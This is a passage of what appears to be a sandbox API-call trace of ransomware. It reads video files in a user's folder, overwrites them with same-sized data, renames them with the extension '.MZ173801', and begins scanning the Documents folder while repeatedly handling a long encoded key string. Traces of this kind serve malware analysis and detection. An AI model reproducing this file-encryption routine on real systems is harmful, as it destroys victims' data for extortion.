ftLastAccessTime.dwLowDateTime=0x41302c90, ftLastAccessTime.dwHighDateTime=0x1d5e74a, ftLastWriteTime.dwLowDateTime=0x41302c90, ftLastWriteTime.dwHighDateTime=0x1d5e74a, nFileSizeHigh=0x0, nFileSizeLow=0x8ec)) returned 1 [0124.394] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.394] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.396] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\uHEG.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\uheg.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0124.396] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0124.396] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.396] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x8ec [0124.396] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.396] ReadFile (in: hFile=0x290, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x8ec, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f6c4*=0x8ec, lpOverlapped=0x0) returned 1 [0124.397] CloseHandle (hObject=0x290) returned 1 [0124.397] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\uHEG.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\uheg.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0124.399] WriteFile (in: hFile=0x290, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x8ec, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f6d0*=0x8ec, lpOverlapped=0x0) returned 1 [0124.400] CloseHandle (hObject=0x290) returned 1 [0124.401] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\uHEG.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\uheg.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\uHEG.mp4.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\uheg.mp4.mz173801")) returned 1 [0124.402] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\vy7emGl6.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\vy7emgl6.flv"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc78f7a0, ftCreationTime.dwHighDateTime=0x1d5dc01, ftLastAccessTime.dwLowDateTime=0xa12cc570, ftLastAccessTime.dwHighDateTime=0x1d5d973, ftLastWriteTime.dwLowDateTime=0xa12cc570, ftLastWriteTime.dwHighDateTime=0x1d5d973, nFileSizeHigh=0x0, nFileSizeLow=0x22aa)) returned 1 [0124.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.406] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\vy7emGl6.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\vy7emgl6.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0124.406] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0124.406] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.406] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x22aa [0124.406] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.406] ReadFile (in: hFile=0x290, lpBuffer=0x714510, nNumberOfBytesToRead=0x22aa, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x22aa, lpOverlapped=0x0) returned 1 [0124.407] CloseHandle (hObject=0x290) returned 1 [0124.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\vy7emGl6.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\vy7emgl6.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0124.409] WriteFile (in: hFile=0x290, lpBuffer=0x718540*, nNumberOfBytesToWrite=0x22aa, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x718540*, lpNumberOfBytesWritten=0x18f6d0*=0x22aa, lpOverlapped=0x0) returned 1 [0124.410] CloseHandle (hObject=0x290) returned 1 [0124.421] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\vy7emGl6.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\vy7emgl6.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\vy7emGl6.flv.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nvl7tw99siql\\vy7emgl6.flv.mz173801")) returned 1 [0124.422] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0124.422] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NVl7TW99SiQl\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97f49c90, ftCreationTime.dwHighDateTime=0x1d5e66a, ftLastAccessTime.dwLowDateTime=0x9b019720, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9b019720, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d6ff8, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0124.423] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0124.423] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0124.424] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=5, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 1 [0124.427] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents")) returned 0x11 [0124.427] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=5, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 1 [0124.427] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9f15540, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9f15540, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc7690348, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0124.427] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0k5pff8__nmIF0D.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0k5pff8__nmif0d.docx"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: 